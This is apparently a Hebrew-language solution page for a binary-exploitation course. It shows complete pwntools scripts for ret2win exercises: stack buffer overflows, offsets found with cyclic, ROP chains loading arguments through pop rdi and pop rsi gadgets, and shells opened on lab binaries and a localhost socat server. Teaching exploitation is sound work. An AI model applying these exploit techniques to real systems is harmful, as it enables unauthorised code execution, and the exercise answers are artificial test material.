לדלג לתוכן

2.3 ניתוב הרצה וret2win פתרון

פתרון - ניתוב הרצה וret2win

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה - אצלכם הן עשויות להיות מעט שונות בין גרסאות מהדר, אז תמיד תשלפו את הכתובות מהבינארי שלכם ולא תעתיקו אותן עיוור.

פתרון תרגיל 1 - סיור והכנה

בדיקת ההגנות:

$ checksec --file=./keys64
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

בדיוק מה שרצינו: NX פעיל, אין canary, אין PIE. כתובת win קבועה.

מציאת כתובת win:

$ objdump -d keys64 | grep '<win>:'
0000000000401196 <win>:

$ nm keys64 | grep ' win'
0000000000401196 T win

מציאת ה-offset עם cyclic. שולחים תבנית מחזורית, קוראים את ה-core dump או צופים ב-gdb איזה ערך נכנס למצביע ההוראות:

from pwn import *
context.binary = ELF('./keys64')

p = process('./keys64')
p.sendline(cyclic(200))
p.wait()

core = p.corefile
fault = core.read(core.rsp, 8)          # what was on top of the stack at ret
log.info('offset = %d', cyclic_find(fault))

עבור keys64 (buffer 80 + saved rbp 8) יוצא offset של 88. עבור warmup64 (buffer 64 + 8) יוצא 72. ב-32 ביט ה-saved ebp הוא 4 בתים, אז ה-offsets קטנים יותר (למשל 84 ל-keys32 ו-68 ל-warmup32), אבל תמיד תמדדו - המהדר עלול להוסיף alignment padding. הלקח: מפה לפני שתוקפים.

פתרון תרגיל 2 - ret2win בלי ארגומנטים (64 ביט)

הכי פשוט שיש. ממלאים עד ה-offset וכותבים את כתובת win:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./warmup64')

offset = 72
payload = flat({offset: elf.symbols['win']})

p = process('./warmup64')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).decode())

הפלט:

You win! Here is your flag: FLAG{ret2win_warmup}

למה זה עבד: win לא קוראת לפונקציית libc "כבדה" עם movaps, אלא רק ל-puts, אז הalignment לא הפיל אותנו. איך להכליל: זה השלד המינימלי של כל ret2win. ברגע שהפונקציה המנצחת דורשת ארגומנטים או פותחת shell, נצטרך את השכבות הבאות.

פתרון תרגיל 3 - ארגומנט אחד ב-64 ביט

מוצאים את הגאדג'ט:

$ ROPgadget --binary keys64 | grep 'pop rdi ; ret'
0x0000000000401256 : pop rdi ; ret

בונים chain שטוענת את rdi וקופצת ל-win:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./keys64')

pop_rdi = 0x401256
win     = elf.symbols['win']

offset = 88
payload = flat({offset: [pop_rdi, 0xc0ffee, win]})

p = process('./keys64')
gdb.attach(p, 'break *win')     # for testing: break on entry to win
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()

כשעוצרים ב-win ומדפיסים p/x $rdi בתוך gdb, נראה 0xc0ffee. המפתח הראשון נטען נכון.

למה זה עבד: הזרימה היא ret של vuln -> pop rdi ; ret שולף את 0xc0ffee ל-rdi -> ה-ret של הגאדג'ט קופץ ל-win עם rdi כבר מוכן. איך להכליל: כל ארגומנט ראשון ב-64 ביט מגיע ל-rdi בדיוק ככה.

פתרון תרגיל 4 - שני ארגומנטים ו-shell (64 ביט)

הגאדג'ט השני:

$ ROPgadget --binary keys64 | grep 'pop rsi ; pop r15 ; ret'
0x0000000000401254 : pop rsi ; pop r15 ; ret

גרסה ידנית מלאה. שימו לב לגאדג'ט ה-ret הבודד בהתחלה - הוא זה שמיישר את המחסנית ומונע את קריסת ה-movaps בתוך system:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./keys64')

pop_rdi     = 0x401256
pop_rsi_r15 = 0x401254
ret         = 0x40101a          # single ret gadget for alignment
win         = elf.symbols['win']

offset = 88
payload = flat({offset: [
    ret,                        # stack alignment to 16 bytes
    pop_rdi, 0xc0ffee,          # rdi = key1
    pop_rsi_r15, 0x1337, 0,     # rsi = key2, r15 = dummy
    win,
]})

p = process('./keys64')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()

הפלט, ואז shell:

keys accepted. shell:
$ id
uid=1000(user) gid=1000(user) ...

אם היינו משמיטים את גאדג'ט ה-ret הראשון, היינו רואים קריסה כזו ב-gdb:

Program received signal SIGSEGV
=> 0x7ffff7e4a3b1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0

זה החתום המובהק של בעיית הalignment. עכשיו אותו דבר בגרסת pwntools הנקייה, שמוצאת את הגאדג'טים לבד:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./keys64')

rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0])       # alignment
rop.call('win', [0xc0ffee, 0x1337])        # rdi, rsi, then win
log.info('\n' + rop.dump())

offset = 88
payload = flat({offset: rop.chain()})

p = process('./keys64')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()

למה זה עבד: rdi ו-rsi קיבלו את שני המפתחות דרך גאדג'טים, ה-if ב-win עבר, ו-system("/bin/sh") רץ. גאדג'ט ה-ret הבודד יישר את rsp ל-16 בתים כך ש-movaps בתוך do_system לא קרס. איך להכליל: זה בדיוק דפוס העבודה מול system/printf ב-64 ביט - תמיד תחשדו בalignment כשקורסים בתוך libc.

פתרון תרגיל 5 - אותו דבר, 32 ביט (cdecl)

ב-32 ביט אין אוגרים לארגומנטים ואין גאדג'טים - הכל על המחסנית:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./keys32')

win = elf.symbols['win']

offset = 84
payload = flat({offset: [
    win,            # overwrites the return address -> jumps to win
    0xdeadc0de,     # fake return address for win (dummy value)
    0xc0ffee,       # key1
    0x1337,         # key2
]})

p = process('./keys32')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()

מה שקורה: ה-ret של vuln קופץ ל-win. ברגע הכניסה, win מצפה שבראש המחסנית תהיה הreturn address שלה (הסלוט 0xdeadc0de), ומעליה key1 ו-key2. שני המפתחות תואמים, וה-shell נפתח.

מה קורה אם משמיטים את סלוט החזרה המזויף? אז win קוראת את 0xc0ffee בתור הreturn address שלה ואת 0x1337 בתור key1 - הכל מוזז מקום אחד, הבדיקה נכשלת (או שהתוכנית קורסת בסוף win בניסיון לחזור לכתובת לא חוקית). זו בדיוק ההוכחה לכך שהסלוט הזה חובה.

למה זה עבד: קונבנציית cdecl מציבה את הארגומנטים על המחסנית מיד אחרי הreturn address, וזייפנו את המבנה הזה ביד. איך להכליל: לכל פונקציית 32 ביט, המבנה הוא [כתובת הפונקציה] [return address] [arg1] [arg2] .... אם תרצו לשרשר שתי פונקציות ב-32 ביט, הreturn address של הראשונה תהיה הפונקציה הבאה - זה הבסיס ל-ret2libc ב-32 ביט שנראה בפרק 4.

פתרון תרגיל 6 (בונוס) - שרת מרוחק ו-bof

הפיכת ה-exploit לגמיש:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./keys64')

def conn():
    if args.REMOTE:
        return remote('127.0.0.1', 1337)
    return process('./keys64')

rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0])
rop.call('win', [0xc0ffee, 0x1337])

offset = 88
payload = flat({offset: rop.chain()})

p = conn()
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()

מריצים את השרת ותוקפים:

# window 1
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./keys64

# window 2
python3 exploit.py REMOTE

ומקבלים shell מרוחק. שימו לב: כשעובדים מול שרת אמיתי, לרוב אין לכם core dump נוח, אז את ה-offset ואת הכתובות שולפים מעותק מקומי של אותו בינארי.

לגבי bof מ-pwnable.kr: ההבדל המרכזי הוא שאין שם פונקציית win לקפוץ אליה. הפונקציה func מקבלת ארגומנט, קוראת קלט לתוך buffer מקומי בoverflow, ואז בודקת ב-if אם הארגומנט שווה לערך קסם (0xcafebabe). מכיוון שהbuffer נמצא על המחסנית באותו frame כמו הארגומנט המושווה, הoverflow יכולה לדרוס את הערך שנבדק. הפתרון: מוצאים עם cyclic את ה-offset מהbuffer עד אותו ארגומנט, ודורסים אותו ב-0xcafebabe.

מה חוזר מהתרגול הזה: מציאת ה-offset עם cyclic, בניית המטען עם flat, והחיבור עם remote - הכל זהה. מה שונה: היעד של הדריסה הוא משתנה שנבדק, לא return address. זו תובנה חשובה - buffer overflow לא חייבת לחטוף את זרימת התוכנית ישירות; לפעמים מספיק לדרוס ערך אחד כדי לעבור בדיקה.